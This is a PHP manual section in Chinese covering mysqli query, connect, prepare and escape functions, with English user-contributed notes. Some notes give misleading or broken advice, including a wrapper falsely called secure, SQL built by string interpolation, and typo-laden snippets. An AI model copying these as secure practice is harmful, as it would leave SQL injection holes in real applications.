    $result = $mysqli->query("SELECT * FROM test WHERE id = $i");
    $row = $result->fetch_row();
    echo $row[0]; //prints id
}
?>

which gave a page-load time of about 3.3seconds avarage, then with this loop:

<?php
$stmt = $mysqli->prepare("SELECT * FROM test WHERE id = ?");
for ( $i = 0; $i <= 30000; ++$i )
{
    $stmt->bind_param("i", $i);
    $stmt->execute();
    $stmt->bind_result($id, $md5);
    $stmt->fetch();
    echo $id;
}
$stmt->close();
?>

and the avarage page-load was lowered by 1.3sec, which means about 2.0 sec avarage! Guess the performance difference could be even greater on a more complex/larger table and more complex SQL-queries.
nom0ny at yahoo dot com 25-May-2007 12:30
It must be noted in the Description whether developers should call mysqli_stmt_close prior to executing mysqli_prepare again on the same statement variable.

Example, Script A calls mysqli_stmt_close twice:
<?php
/* Script A -- We are already connected to the database */

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES (?, ?, 100)"); /* Query 1 */
mysqli_stmt_bind_param($stmt, "si", $string, $integer);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt); // CLOSE $stmt

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES ('PHP', ?, ?)"); /* Query 2 */
mysqli_stmt_bind_param($stmt, "ii", $integer, $code);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt); // CLOSE $stmt

/* Script A -- Continues on... */
?>

Next, we have Script B, calling mysqli_prepare again before issuing mysqli_stmt_close on the prior statement.
<?php
/* Script B -- We are already connected to the database */

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES (?, ?, 100)"); /* Query 1 */
mysqli_stmt_bind_param($stmt, "si", $string, $integer);
mysqli_stmt_execute($stmt);

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES ('PHP', ?, ?)"); /* Query 2 */
mysqli_stmt_bind_param($stmt, "ii", $integer, $code);
mysqli_stmt_execute($stmt);

mysqli_stmt_close($stmt); // CLOSE $stmt

/* Script B -- Continues on... */
?>

Which method is more efficient and should be used by developers?
Adam 10-Aug-2006 03:03
The purpose of prepared statements is to not include data in your SQL statements. Including them in your SQL statements is NOT safe. Always use prepared statements. They are cleaner to use (code easier to read) and not prone to SQL injections.

Escaping strings to include in SQL statements doesn't work very well in some locales hence it is not safe.
codeFiend <aeontech at gmail dot com> 05-May-2006 02:47
Note that single-quotes around the parameter markers _will_ prevent your statement from being prepared correctly.
Ex:

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES ('?')");
echo $stmt->param_count." parameters\n";
?>
will print 0 and fail with "Number of variables doesn't match number of parameters in prepared statement" warning when you try to bind the variables to it.

But

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES (?)");
echo $stmt->param_count." parameters\n";
?>
will print 1 and function correctly.

Very annoying, took me an hour to figure this out.
Ulf Wostner 23-Jan-2006 08:53
Here is an example using bind_param and bind_result, showing iteration over a list of cities.

Note that there's some bug-potential in cases where the query returns NULL for some parameter value,
but the bind_result variables still might be bound.  So, we use a conditional to spray the spot first.

$mysqli->select_db("world");

$template = "SELECT District, CountryCode FROM City WHERE Name=?";
printf("Prepare statement from template: %s\n",  $template);

$cities = array('San Francisco', 'Lisbon', 'Lisboa', 'Marrakech', 'Madrid');
printf("Cities: %s\n", join(':', $cities));

if ($stmt = $mysqli->prepare($template)) {

   foreach($cities as $city) {
     // bind the string $city to the '?'
     $stmt->bind_param("s", $city);
     $stmt->execute();
     // bind result variables
     $stmt->bind_result($d,$cc);
     // 'Lisbon' is not found in the world.City table, but 'Lisboa' is.
     // Using a conditional we avoid putting Lisbon in California.
     if($stmt->fetch()) {
       printf("%s is in  %s, %s\n", $city, $d, $cc);
     }

   }
   $stmt->close();
}

With the conditional statement we get the desired result:

Prepare statement from template: SELECT District,CountryCode FROM City WHERE Name=?
Cities: San Francisco:Lisbon:Lisboa:Marrakech:Madrid

San Francisco is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP

But, without the conditional statement we would put Lisbon in California:

San Francisco is in  California, USA
Lisbon is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP
David Kramer 20-Dec-2005 12:50
I don't think these are good examples, because the primary use of prepared queries is when you are going to call the same query in a loop, plugging in different values each time.  For instance, if you were generating a report and needed to run the same query for each line, tweaking the values in the WHERE clause, or importing data from another system.


对数据库执行查询

  • ? mysqli::prepare
  • mysqli::real_connect ?
  • PHP Manual
  • mysqli
  • 对数据库执行查询

mysqli::query

mysqli_query

(PHP 5, PHP 7, PHP 8)

mysqli::query -- mysqli_query — 对数据库执行查询

说明

面向对象风格

public mysqli::query(string $query, int $result_mode = MYSQLI_STORE_RESULT): mysqli_result|bool

过程化风格

mysqli_query(mysqli $mysql, string $query, int $result_mode = MYSQLI_STORE_RESULT): mysqli_result|bool

对数据库执行 query。

Warning

Security warning: SQL injection

If the query contains any variable input then parameterized prepared statements should be used instead. Alternatively, the data must be properly formatted and all strings must be escaped using the mysqli_real_escape_string() function.

对非 DML 查询（不是 INSERT、UPDATE 或 DELETE），此函数类似于调用 mysqli_real_query() 然后调用 mysqli_use_result() 或 mysqli_store_result()。

Note:

传递给 mysqli_query() 的语句长度比服务器的 max_allowed_packet 长的情况下，返回的错误码不同，具体取决于使用的是 MySQL Native Driver（mysqlnd）还是 MySQL Client Library（libmysqlclient）。行为如下：

  • Linux 上 mysqlnd 返回错误码 1153。错误消息表示为 got a packet bigger than max_allowed_packet bytes。

  • Windows 上 mysqlnd 返回错误码 2006。错误消息表示为 server has gone away。

  • libmysqlclient 在所有平台返回错误码 2006。错误消息表示为 server has gone away。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

query

查询字符串。

result_mode

The result mode can be one of 3 constants indicating how the result will be returned from the MySQL server.

MYSQLI_STORE_RESULT（默认）——返回带有缓冲结果集的 mysqli_result 对象。

MYSQLI_USE_RESULT - returns a mysqli_result object with unbuffered result set. As long as there are pending records waiting to be fetched, the connection line will be busy and all subsequent calls will return error Commands out of sync. To avoid the error all records must be fetched from the server or the result set must be discarded by calling mysqli_free_result().

MYSQLI_ASYNC（适用于 mysqlnd）——执行异步查询且并不立即返回结果。然后使用 mysqli_poll() 从此类查询中获取结果。与 MYSQLI_STORE_RESULT 或 MYSQLI_USE_RESULT 常量结合使用。

返回值

失败时返回 false。对于生成结果集的成功查询，比如 SELECT, SHOW, DESCRIBE 或 EXPLAIN，mysqli_query() 将返回 mysqli_result 对象。对其它成功查询，mysqli_query() 将返回 true。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli::query() 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Create table doesn't return a resultset */
$mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City");
printf("Table myCity successfully created.\n");

/* Select queries return a resultset */
$result = $mysqli->query("SELECT Name FROM City LIMIT 10");
printf("Select returned %d rows.\n", $result->num_rows);

/* If we have to retrieve large amount of data we use MYSQLI_USE_RESULT */
$result = $mysqli->query("SELECT * FROM City", MYSQLI_USE_RESULT);

/* Note, that we can't execute any functions which interact with the
server until all records have been fully retrieved or the result
set was closed. All calls will return an 'out of sync' error */
$mysqli->query("SET @a:='this will not work'");

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Create table doesn't return a resultset */
mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City");
printf("Table myCity successfully created.\n");

/* Select queries return a resultset */
$result = mysqli_query($link, "SELECT Name FROM City LIMIT 10");
printf("Select returned %d rows.\n", mysqli_num_rows($result));

/* If we have to retrieve large amount of data we use MYSQLI_USE_RESULT */
$result = mysqli_query($link, "SELECT * FROM City", MYSQLI_USE_RESULT);

/* Note, that we can't execute any functions which interact with the
server until all records have been fully retrieved or the result
set was closed. All calls will return an 'out of sync' error */
mysqli_query($link, "SET @a:='this will not work'");

以上示例的输出类似于：

Table myCity successfully created.
Select returned 10 rows.

Fatal error: Uncaught mysqli_sql_exception: Commands out of sync; you can't run this command now in...

参见

  • mysqli_execute_query() - Prepares, binds parameters, and executes SQL statement
  • mysqli_real_query() - 执行一个mysql查询
  • mysqli_multi_query() - 在数据库上执行一个或多个查询
  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_free_result() - Frees the memory associated with a result

User Contributed Notes

xa at sagexa dot com 16-Sep-2022 04:33
"In PHP 8.1, the default error handling behavior of the MySQLi extension has changed from silencing errors to throw an Exception on errors. "
This is true even for the procedural use of mysqli, i.e. mysqli_query.
Hence, using if(!mysqli_query($c, $sql)) [...] is pointless.
To disable Exception throwing : mysqli_report(MYSQLI_REPORT_OFF);
Anonymous 05-Jun-2018 11:21
Here is an example of a clean query into a html table

<table>
   <tr>
     <th>First Name</th>
     <th>Last Name</th>
     <th>City</th>
   </tr>
   <?php while ($row = $myquery->fetch_assoc()) { ?>
   <tr>
     <td><?php echo $row["firstname"]; ?></td>
     <td><?php echo $row["lastname"]; ?></td>
     <td><?php echo $row["city"];?></td>
   </tr>
   <?php } ?>
 </table>
omidbahrami1990 at gmail dot com 06-Dec-2017 10:17
This Is A Secure Way To Use mysqli::query
--------------------------------------------------------
<?php
function secured_query($sql)
{
$connection = new mysqli($host,$username,$password,$name);

if ($connection->connect_error)
die("Secured");

$result=$connection->query($sql);
if($result==FALSE)
die("Secured");

$connection->close();
return $result;
}
/*
$host ---> DataBase IP Address
$username ---> DataBase Username
$password ---> DataBase Password
$name ---> DataBase Name
*/
?>
David Marcus 03-May-2017 05:43
If you use the default resultmode of MYSQLI_STORE_RESULT, you can call $mysqli->close() right after $mysqli->query and before you use mysqli_result. This reduces the time the connection is open, which can help if the database server has a limit on how many connections there can be.
Anonymous 17-Mar-2017 12:55
I don't know is it bug or something , then first I write it here . Query SHOW with MYSQLI_USE_RESULT option don't show num_rows :
<?php
SHOW TABLES LIKE [some table], MYSQLI_USE_RESULT
num_rows // shows 0 !
?>
ahmed dot 3abdolah at gmail dot com 12-Sep-2014 11:39
Hi, i created function that add  a new table using array , i work with it on my projects ...
<?PHP
                   /* this function was learned from PHP.net */
function array_keys_exist(&$key,array &$array){
                $keys = split("\|",$key);
                foreach($keys as $key_s){
                    if(array_key_exists($key_s, $array)) return true;
                    }
                return false;
            }
/*and this is my function */
array_create_table(array &$array){
        if(is_array($array)){
           $key = "table|rows|values";
        $info = "";
        if(array_keys_exist($key,$array)){
        if(is_array($array["rows"]) and is_array($array["values"]) ){

            if(count($array["rows"]) == count($array["values"])) {
                        for($i=0; $i<=count($array["rows"]); $i++){
    $info = $info." ".$array["rows"][$i]." ".$array["values"][$i]." NOT NULL ";
            if($i < count($array["rows"])-1 ) $info = $info.",";
                    }
    $query = "CREATE TABLE ".$this->private_tables_name.$array["table"]." ";
    $query .= "( id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, ".$info." )";
                    return $query;
                        }
                        }
                }else return "Error";
                    }
            }

/* the use is simple */
$database = new database(); // connection to database i used mysqli ...
$array = array("table"=>"MRO", "rows"=>array("name","username") , "values" => array("VARCHAR (50) "," VARCHAR (50) ") );

$query = array_create_table($array); // convert and create the query ...
if($database->query($query)) echo "Work"; else echo "Error"; // result : work

?>
joseph_robert_martinez at yahoo dot com 14-Mar-2014 07:00
For those using with replication enabled on their servers,  add a mysqli_select_db() statement before any data modification queries.  MySQL replication does not handle statements with db.table the same and will not replicate to the slaves if a scheme is not selected before.

Found out after days of resetting master and slaves on another site http://www.linuxquestions.org/questions/linux-server-73/mysql-5-1-not-replicating-properly-with-slave-823296/
popere dot noel at yahoo dot com 26-Jun-2013 09:43
or you could just extend the class...
 in my case i already had a wraper for the db so something like this was easy :

 public function  free($result) {

  $result->free_result();
 $this->link->next_result();
 }

just tried it and it works like a charm ;-)
blinki bill, argodak at yahoo dot com 06-Jun-2013 03:10
Recently I had puzzling problem when performing DML queries, update in particular, each time a update query is called and then there are some more queries to follow this error will show on the page and go in the error_log:
"Fatal error:  Exception thrown without a stack frame in Unknown on line 0"

The strange thing is that all queries go through just fine so it didn't make much sense:

$update = mysqli_query($connection, $query_string);
if(!$update){
 echo 'Houston we have a problem '.mysqli_error($connection);
 exit;
}

In the above example "$update" is "true", mysqli_error() is empty and of course the update operation goes through, however the nasty super cryptic error appears on the page.
What makes even less sense to me is how I fixed it - just called "mysqli_free_result" after the update query and the problem was gone, however because mysqli_free_result is not supposed to be called after DML queries (to free what, a boolean? lol) it needs to be wrapped in a try catch block:

try{
 mysqli_free_result($update);
}catch (Exception $e){
 //do nothing
}

So, I don't know why but it seems that when DML queries are responsible for:
"Fatal error:  Exception thrown without a stack frame in Unknown on line 0"
calling "mysqli_free_result" after the query seems to be fixing the issue
marcus at synchromedia dot co dot uk 15-Jun-2011 10:17
The exact type returned by a successful query is mysqli_result.
theyranos at gmail dot com 12-Apr-2011 06:35
The cryptic "Couldn't fetch mysqli" error message can mean any number of things, including:

1. You're trying to use a database object that you've already closed (as noted by ceo at l-i-e dot com). Reopen your database connection, or find the call to <?php mysqli_close($db); ?> or <?php $db->close(); ?> and remove it.
2. Your MySQLi object has been serialized and unserialized for some reason. Define a wakeup function to re-create your database connection. http://php.net/__wakeup
3. Something besides you closed your mysqli connection (in particular, see http://bugs.php.net/bug.php?id=33772)
4. You mixed OOP and functional calls to the database object. (So, you have <?php $db->query() ?> in the same program as <?php mysqli_query($db) ?>).
petrus.jvr 14-Mar-2011 03:40
When calling multiple stored procedures, you can run into the following error: "Commands out of sync; you can't run this command now".
This can happen even when using the close() function on the result object between calls.
To fix the problem, remember to call the next_result() function on the mysqli object after each stored procedure call. See example below:

<?php
// New Connection
$db = new mysqli('localhost','user','pass','database');

// Check for errors
if(mysqli_connect_errno()){
 echo mysqli_connect_error();
}

// 1st Query
$result = $db->query("call getUsers()");
if($result){
     // Cycle through results
    while ($row = $result->fetch_object()){
        $user_arr[] = $row;
    }
    // Free result set
    $result->close();
    $db->next_result();
}

// 2nd Query
$result = $db->query("call getGroups()");
if($result){
     // Cycle through results
    while ($row = $result->fetch_object()){
        $group_arr[] = $row;
    }
     // Free result set
     $result->close();
     $db->next_result();
}
else echo($db->error);

// Close connection
$db->close();
?>
thomas dekker 23-Sep-2010 11:08
Building inserts can be annoying. This helper function inserts an array into a table, using the key names as column names:

<?php
  private function store_array (&$data, $table, $mysqli)
  {
    $cols = implode(',', array_keys($data));
    foreach (array_values($data) as $value)
    {
      isset($vals) ? $vals .= ',' : $vals = '';
      $vals .= '\''.$this->mysql->real_escape_string($value).'\'';
    }
    $mysqli->real_query('INSERT INTO '.$table.' ('.$cols.') VALUES ('.$vals.')');
  }
?>

Adapt it to your specific needs.
registrations at jdfoxmicro dot com 21-Jun-2010 04:11
I like to save the query itself in a log file, so that I don't have to worry about whether the site is live.

For example, I might have a global function:

<?php
function UpdateLog ( $string , $logfile )  {
   $fh = fopen ( $logfile , 'a' );
   $fwrite ( $fh , strftime ('%F %T %z')." ".$string."\n";
   fclose ( $fh );
}
?>

Then in my mysql function error trapper, something like this:

<?php
   $error_msg = "Database error in [page].php / ";
   $error_msg .= mysqli_error ( $link )." / ";
   $error_msg .= $query;
   UpdateLog ( $error_msg , DB_ERROR_LOG_FILE );
?>

I also include the remote IP, user agent, etc., but I left it out of these code samples.  And have it e-mail me when an error is caught, too.

Jeff
Igor 24-Nov-2008 06:54
mysqli::query() can only execute one SQL statement.

Use mysqli::multi_query() when you want to run multiple SQL statements within one query.
ceo at l-i-e dot com 27-Aug-2008 07:51
Translation:
"Couldn't fetch mysqli"

You closed your connection and are trying to use it again.

It has taken me DAYS to figure out what this obscure error message means...
NUNTIUS 01-Feb-2008 01:33
This may or may not be obvious to people but perhaps it will help someone.

When running joins in SQL you may encounter a problem if you are trying to pull two columns with the same name. mysqli returns the last in the query when called by name. So to get what you need you can use an alias.

Below I am trying to join a user id with a user role. in the first table (tbl_usr), role is a number and in the second is a  text name (tbl_memrole is a lookup table). If I call them both as role I get the text as it is the last "role" in the query. If I use an alias then I get both as desired as shown below.

<?php
$sql = "SELECT a.uid, a.role AS roleid, b.role,
            FROM tbl_usr a
            INNER JOIN tbl_memrole b
            ON a.role = b.id
            ";

    if ($result = $mysqli->query($sql)) {
        while($obj = $result->fetch_object()){
            $line.=$obj->uid;
            $line.=$obj->role;
            $line.=$obj->roleid;
        }
    }
    $result->close();
    unset($obj);
    unset($sql);
    unset($query);

?>
In this situation I guess I could have just renamed the role column in the first table roleid and that would have taken care of it, but it was a learning experience.
jcwebb at dicoe dot com 15-May-2007 01:42
When building apps, i like to see the whole statement when if fails.
<?php
$q="SELECT somecolumn FROM sometable"; //some instruction
$r=mysqli_query($DBlink,$q) or die(mysqli_error($DBlink)." Q=".$q);
?>
If theres an error (like my numerous typing mistakes) this shows the entire instruction.
Good for development (not so good on production servers - simply find and replace when finished: $r=mysqli_query($DBlink,$q); )

Hope it helps. Jon
info at ff dot net 08-May-2006 04:12
Calling Stored Procedures

Beeners' note/example will not work. Use mysqli_multi_query() to call a Stored Procedure. SP's have a second result-set which contains the status: 'OK' or 'ERR'. Using mysqli_query will not work, as there are multiple results.

<?php
$sQuery="CALL SomeSP('params')";
if(!mysqli_multi_query($sqlLink,$sQuery)) {
  // your error handler
}
$sqlResult=mysqli_store_result($sqlLink);

if(mysqli_more_results($this->sqlLink))//Catch 'OK'/'ERR'
  while(mysqli_next_result($this->sqlLink));
?>

You will have to rewrite/expand this a bit for more usability of course, but it's just an example.
Beeners 08-Jan-2006 12:16
Stored Procedures.

Use mysqli_query to call a stored procedure that returns a result set.

Here is a short example:

<?php
$mysqli = new mysqli(DBURI,DBUSER,DBPASS,DBNAME);
if (mysqli_connect_errno())
{
  printf("Connection failed: %s\n", mysqli_connect_error());
  exit();
}

$SQL = "CALL my_procedure($something)";
if ( ($result = $mysqli->query($SQL))===false )
{
  printf("Invalid query: %s\nWhole query: %s\n", $mysqli->error, $SQL);
  exit();
}

while ($myrow = $result->fetch_array(MYSQLI_ASSOC))
{
  $aValue[]=$myrow["a"];
  $bValue[]=$myrow["b"];
}
$result->close();
$mysqli->close();
?>
I hope this saves someone some time.
hunreal at gmail dot com 13-Aug-2004 02:24
Use difference collation/character for connect, result.
You can set the collation before your query.

E.g. want to set the collation to utf8_general_ci
you can send the query "SET NAMES 'utf8'" first

<?php
$mysqli=new mysqli('localhost', 'root', 'password', 'test');
$mysqli->query("SET NAMES 'utf8'");
$q=$mysqli->query("select * from test");
while($r=$q->fetch_assoc()) {
    print_r($r);
}
?>

There are many variables about character settings.
By running sql command, SHOW VARIABLES LIKE 'char%';
There are some variables control the character usage.

character_set_client
character_set_connection
character_set_database
character_set_results
character_set_server
character_set_system

Also SET NAMES can repalce with one or some settings like SET character_set_results='utf8';


建立一个 MySQL 服务器连接

  • ? mysqli::query
  • mysqli::real_escape_string ?
  • PHP Manual
  • mysqli
  • 建立一个 MySQL 服务器连接

mysqli::real_connect

mysqli_real_connect

(PHP 5, PHP 7, PHP 8)

mysqli::real_connect -- mysqli_real_connect — 建立一个 MySQL 服务器连接

说明

面向对象风格

public mysqli::real_connect(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null,
int $flags = 0
): bool

过程化风格

mysqli_real_connect(
mysqli $mysql,
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null,
int $flags = 0
): bool

建立一个到 MySQL 服务器的链接。

与 mysqli_connect() 的不同点：

  • mysqli_real_connect() 需要一个 mysqli 对象的实例。 这可以通过调用无参数的 mysqli::__construct() 或 mysqli_connect() 获得。

  • 可以使用 mysqli_options() 设置各种连接设置。

  • 提供 flags 参数。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

hostname

可以使用域名、IP 地址。如果传递 null，值将从 mysqli.default_host 中检索。如果可能，将使用管道代替 TCP/IP 协议。如果同时提供主机名和端口号，则使用 TCP/IP 协议，例如 localhost:3308。

username

MySQL 登录用户名，为 null 时则假设是基于 mysqli.default_user ini 选项的用户名。

password

MySQL 密码，为 null 时则假设是基于 mysqli.default_pw ini 选项的密码。

database

执行查询语句的默认数据库或为 null。

port

MySQL 服务器的端口，为 null 时则假设是基于 mysqli.default_port ini 选项的端口。

socket

指定使用的 socket 或者命名通道，为 null 时则假设是基于 mysqli.default_socket ini 选项的套接字。

Note:

指定 socket 参数并不能说明要采用何种方式连接数据库。 连接数据的方式由 hostname 设定。

flags

这里可以设置连接参数：

Supported flags
Name | Description
MYSQLI_CLIENT_COMPRESS | 使用压缩协议
MYSQLI_CLIENT_FOUND_ROWS | 返回语句匹配的行数，而不是影响的行数
MYSQLI_CLIENT_IGNORE_SPACE | 允许函数名称后有空格，这将使所有的函数名称成为保留字。
MYSQLI_CLIENT_INTERACTIVE | 在关闭连接之前允许等待 interactive_timeout 秒， 他替代 wait_timeout 设定。
MYSQLI_CLIENT_SSL | 使用 SSL 加密
MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT | 跟 MYSQLI_CLIENT_SSL 类似，但禁用对提供的 SSL 证书的验证。这仅适用于使用 MySQL Native Driver 和 MySQL 5.6 及其后续版本的安装。

Note:

从安全角度考虑，在 PHP 中不可以使用 MULTI_STATEMENT， 若要执行多查询语句，请使用 mysqli_multi_query()。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

更新日志

版本 | 说明
7.4.0 | 所有的参数都可为 null。

示例

Example #1 mysqli::real_connect() 示例

面向对象风格

<?php

$mysqli = new mysqli();
if (!$mysqli) {
die('mysqli connection failed');
}

if (!$mysqli->options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
die('Setting MYSQLI_INIT_COMMAND failed');
}

if (!$mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
}

if (!$mysqli->real_connect('localhost', 'my_user', 'my_password', 'my_db')) {
die('Connect Error (' . mysqli_connect_errno() . ') '
. mysqli_connect_error());
}

echo 'Success... ' . $mysqli->host_info . "\n";

$mysqli->close();
?>

面向对象风格 when extending mysqli class

<?php

class foo_mysqli extends mysqli {
public function __construct($host, $user, $pass, $db) {
// 必须直接调用父构造函数，否则将产生 E_FATAL 错误
parent::__construct();

if (!parent::options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
die('Setting MYSQLI_INIT_COMMAND failed');
}

if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
}

if (!parent::real_connect($host, $user, $pass, $db)) {
die('Connect Error (' . mysqli_connect_errno() . ') '
. mysqli_connect_error());
}
}
}

$db = new foo_mysqli('localhost', 'my_user', 'my_password', 'my_db');

echo 'Success... ' . $db->host_info . "\n";

$db->close();
?>

过程化风格

<?php

$link = mysqli_connect();
if (!$link) {
die('mysqli_connect failed');
}

if (!mysqli_options($link, MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
die('Setting MYSQLI_INIT_COMMAND failed');
}

if (!mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
}

if (!mysqli_real_connect($link, 'localhost', 'my_user', 'my_password', 'my_db')) {
die('Connect Error (' . mysqli_connect_errno() . ') '
. mysqli_connect_error());
}

echo 'Success... ' . mysqli_get_host_info($link) . "\n";

mysqli_close($link);
?>

以上示例会输出：

Success... MySQL host info: localhost via TCP/IP

注释

Note:

MySQLnd 总是使用服务器的默认字符集。此字符集在连接握手／认证时发送，并被 mysqlnd 使用。

Libmysqlclient 使用 my.cnf 中的默认字符集或者由在调用 mysqli_init() 之后，mysqli_real_connect() 之前先调用 mysqli_options() 来指定。

参见

  • mysqli_connect() - 别名 mysqli::__construct
  • mysqli_options() - 设置选项
  • mysqli_ssl_set() - 用于使用 SSL 建立安全连接
  • mysqli_close() - 关闭先前打开的数据库连接

User Contributed Notes

php-nospam325123 at brainpower dot no-ip dot org 03-Dec-2010 03:29
this is because it tries to use sockets with the string localhost this is documented en known
Pom 01-Dec-2009 03:47
Notice that when using "localhost" as hostname the port option might be ignored.

If you wish to connect thru a different port than default, substitute "127.0.0.1" for localhost.


根据当前连接的字符集，对于 SQL 语句中的特殊字符进行转义

  • ? mysqli::real_connect
  • mysqli::real_query ?
  • PHP Manual
  • mysqli
  • 根据当前连接的字符集，对于 SQL 语句中的特殊字符进行转义

mysqli::real_escape_string

mysqli_real_escape_string

(PHP 5, PHP 7, PHP 8)

mysqli::real_escape_string -- mysqli_real_escape_string — 根据当前连接的字符集，对于 SQL 语句中的特殊字符进行转义

说明

面向对象风格

public mysqli::real_escape_string(string $string): string

过程化风格

mysqli_real_escape_string(mysqli $mysql, string $string): string

此函数用于创建可在 SQL 语句中使用的合法 SQL 字符串。考虑到连接的当前字符集，对指定的字符串进行编码以生成转义的 SQL 字符串。

Caution

安全：默认字符集

字符集必须在服务器级别设置，或者使用 API 函数 mysqli_set_charset() 影响 mysqli_real_escape_string()。参阅字符集的概念（concepts）部分。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

string

需要进行转义的字符串。

会被进行转义的字符包括：NUL (ASCII 0)、 \n、\r、\、 '、" 和 CTRL+Z。

返回值

返回转义后的字符串。

示例

Example #1 mysqli::real_escape_string() 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$city = "'s-Hertogenbosch";

/* 对 $city 转义，此查询运行正常 */
$query = sprintf("SELECT CountryCode FROM City WHERE name='%s'",
$mysqli->real_escape_string($city));
$result = $mysqli->query($query);
printf("Select returned %d rows.\n", $result->num_rows);

/* 未转义 $city，此查询运行失败 */
$query = sprintf("SELECT CountryCode FROM City WHERE name='%s'", $city);
$result = $mysqli->query($query);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$city = "'s-Hertogenbosch";

/* 对 $city 转义，此查询运行正常 */
$query = sprintf("SELECT CountryCode FROM City WHERE name='%s'",
mysqli_real_escape_string($mysqli, $city));
$result = mysqli_query($mysqli, $query);
printf("Select returned %d rows.\n", mysqli_num_rows($result));

/* 未转义 $city，此查询运行失败 */
$query = sprintf("SELECT CountryCode FROM City WHERE name='%s'", $city);
$result = mysqli_query($mysqli, $query);

以上示例的输出类似于：

Select returned 1 rows.

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's-Hertogenbosch'' at line 1 in...

参见

  • mysqli_set_charset() - 设置客户端字符集

User Contributed Notes

ASchmidt at Anamera dot net 30-Mar-2021 04:45
Caution when escaping the % and _ wildcard characters. According to an often overlooked note at the bottom of:

https://dev.mysql.com/doc/refman/5.7/en/string-literals.html#character-escape-sequences

the escape sequences \% and \_ will ONLY be interpreted as % and _, *if* they occur in a LIKE! (Same for MySQL 8.0)

In regular string literals, the escape sequences \% and \_ are treated as those two character pairs. So if those escape sequences appear in a WHERE "=" instead of a WHERE LIKE, they would NOT match a single % or _ character!

Consequently, one MUST use two "escape" functions: The real-escape-string (or equivalent) for regular string literals, and an amended escape function JUST for string literals that are intended to be used in LIKE.
Lawrence DOliveiro 13-Dec-2017 03:56
Note that the "like" operator requires an *additional* level of escaping for its special characters, *on top of* that performed by mysql_escape_string. But there is no built-in function for performing this escaping. Here is a function that does it:

function escape_sql_wild($s)
  /* escapes SQL pattern wildcards in s. */
  {
    $result = array();
    foreach(str_split($s) as $ch)
      {
        if ($ch == "\\" || $ch == "%" || $ch == "_")
          {
            $result[] = "\\";
          } /*if*/
        $result[] = $ch;
      } /*foreach*/
    return
        implode("", $result);
  } /*escape_sql_wild*/
therselman at gmail dot com 19-Jul-2017 08:22
Presenting several UTF-8 / Multibyte-aware escape functions.

These functions represent alternatives to mysqli::real_escape_string, as long as your DB connection and Multibyte extension are using the same character set (UTF-8), they will produce the same results by escaping the same characters as mysqli::real_escape_string.

This is based on research I did for my SQL Query Builder class:
https://github.com/twister-php/sql

<?php
/**
 * Returns a string with backslashes before characters that need to be escaped.
 * As required by MySQL and suitable for multi-byte character sets
 * Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and ctrl-Z.
 *
 * @param string $string String to add slashes to
 * @return $string with `\` prepended to reserved characters
 *
 * @author Trevor Herselman
 */
if (function_exists('mb_ereg_replace'))
{
    function mb_escape(string $string)
    {
        return mb_ereg_replace('[\x00\x0A\x0D\x1A\x22\x27\x5C]', '\\\0', $string);
    }
} else {
    function mb_escape(string $string)
    {
        return preg_replace('~[\x00\x0A\x0D\x1A\x22\x27\x5C]~u', '\\\$0', $string);
    }
}

?>

Characters escaped are (the same as mysqli::real_escape_string):

00 = \0 (NUL)
0A = \n
0D = \r
1A = ctl-Z
22 = "
27 = '
5C = \

